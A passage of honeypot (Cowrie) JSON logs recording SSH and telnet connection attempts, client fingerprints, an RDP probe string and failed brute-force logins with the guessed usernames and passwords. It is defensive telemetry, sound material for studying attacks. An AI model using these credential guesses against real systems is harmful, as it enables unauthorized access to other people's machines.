{"eventid":"cowrie.session.closed","duration":120.00869822502136,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:36.727047Z","src_ip":"152.42.224.71","session":"2c7a44b120d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":59152,"dst_ip":"159.203.135.109","dst_port":22,"session":"c23c243ff6dc","protocol":"ssh","message":"New connection: 59.16.212.232:59152 (159.203.135.109:22) [session: c23c243ff6dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:36.825176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:36.839313Z","src_ip":"59.16.212.232","session":"c23c243ff6dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:37.040865Z","src_ip":"59.16.212.232","session":"c23c243ff6dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":47322,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc8afda03d14","protocol":"ssh","message":"New connection: 109.172.54.111:47322 (159.203.135.109:22) [session: dc8afda03d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:37.133904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:37.162237Z","src_ip":"109.172.54.111","session":"dc8afda03d14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:37.235517Z","src_ip":"109.172.54.111","session":"dc8afda03d14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alenka","message":"login attempt [root/alenka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:37.645160Z","src_ip":"109.172.54.111","session":"dc8afda03d14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student3","password":"student3","message":"login attempt [student3/student3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:37.882293Z","src_ip":"59.16.212.232","session":"c23c243ff6dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:38.747214Z","src_ip":"109.172.54.111","session":"dc8afda03d14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:39.087044Z","src_ip":"59.16.212.232","session":"c23c243ff6dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":44500,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8caabd7b359","protocol":"ssh","message":"New connection: 45.117.179.232:44500 (10.17.0.5:22) [session: a8caabd7b359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:48.814849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:48.819892Z","src_ip":"45.117.179.232","session":"a8caabd7b359","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:49.073822Z","src_ip":"45.117.179.232","session":"a8caabd7b359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome2025","message":"login attempt [root/Welcome2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:50.104431Z","src_ip":"45.117.179.232","session":"a8caabd7b359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52618,"dst_ip":"159.203.135.109","dst_port":22,"session":"c473779a6303","protocol":"ssh","message":"New connection: 152.42.212.128:52618 (159.203.135.109:22) [session: c473779a6303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:51.005821Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:51.010982Z","src_ip":"152.42.212.128","session":"c473779a6303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:51.014239Z","src_ip":"152.42.212.128","session":"c473779a6303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:51.356879Z","src_ip":"45.117.179.232","session":"a8caabd7b359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49950,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a25d42c9db0","protocol":"telnet","message":"New connection: 152.42.224.71:49950 (10.17.0.5:23) [session: 6a25d42c9db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:55.826775Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33314,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e953d87063b","protocol":"telnet","message":"New connection: 152.42.224.71:33314 (10.17.0.5:23) [session: 3e953d87063b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:59.637090Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":51367,"dst_ip":"159.203.135.109","dst_port":22,"session":"37b017a306a6","protocol":"ssh","message":"New connection: 167.172.81.52:51367 (159.203.135.109:22) [session: 37b017a306a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:59.782457Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:59.788259Z","src_ip":"167.172.81.52","session":"37b017a306a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:32:59.792205Z","src_ip":"167.172.81.52","session":"37b017a306a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":52240,"dst_ip":"10.17.0.5","dst_port":22,"session":"217a43585d75","protocol":"ssh","message":"New connection: 103.149.28.157:52240 (10.17.0.5:22) [session: 217a43585d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:06.122642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:06.129237Z","src_ip":"103.149.28.157","session":"217a43585d75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:06.374822Z","src_ip":"103.149.28.157","session":"217a43585d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"valeria","message":"login attempt [root/valeria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:07.118833Z","src_ip":"103.149.28.157","session":"217a43585d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:08.368247Z","src_ip":"103.149.28.157","session":"217a43585d75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":58320,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a5448980772","protocol":"ssh","message":"New connection: 193.228.128.84:58320 (159.203.135.109:22) [session: 8a5448980772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:12.643650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:12.650995Z","src_ip":"193.228.128.84","session":"8a5448980772","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:12.757445Z","src_ip":"193.228.128.84","session":"8a5448980772","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"robert","message":"login attempt [root/robert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:13.071093Z","src_ip":"193.228.128.84","session":"8a5448980772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:14.184136Z","src_ip":"193.228.128.84","session":"8a5448980772","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":47916,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6721baabc8c","protocol":"ssh","message":"New connection: 103.98.149.87:47916 (159.203.135.109:22) [session: c6721baabc8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:20.796996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:20.802391Z","src_ip":"103.98.149.87","session":"c6721baabc8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:21.018417Z","src_ip":"103.98.149.87","session":"c6721baabc8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":39438,"dst_ip":"10.17.0.5","dst_port":22,"session":"80a5cbc4075f","protocol":"ssh","message":"New connection: 185.242.234.173:39438 (10.17.0.5:22) [session: 80a5cbc4075f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:21.586507Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ybccfy","message":"login attempt [root/ybccfy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:21.897470Z","src_ip":"103.98.149.87","session":"c6721baabc8c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:22.938232Z","src_ip":"185.242.234.173","session":"80a5cbc4075f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:22.941889Z","src_ip":"185.242.234.173","session":"80a5cbc4075f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:23.120916Z","src_ip":"103.98.149.87","session":"c6721baabc8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Roto555Pres","message":"login attempt [root/Roto555Pres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:23.792595Z","src_ip":"185.242.234.173","session":"80a5cbc4075f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:24.999408Z","src_ip":"185.242.234.173","session":"80a5cbc4075f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":25455,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb39ebdd3d29","protocol":"ssh","message":"New connection: 181.0.214.136:25455 (10.17.0.5:22) [session: fb39ebdd3d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:25.487949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:25.494793Z","src_ip":"181.0.214.136","session":"fb39ebdd3d29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-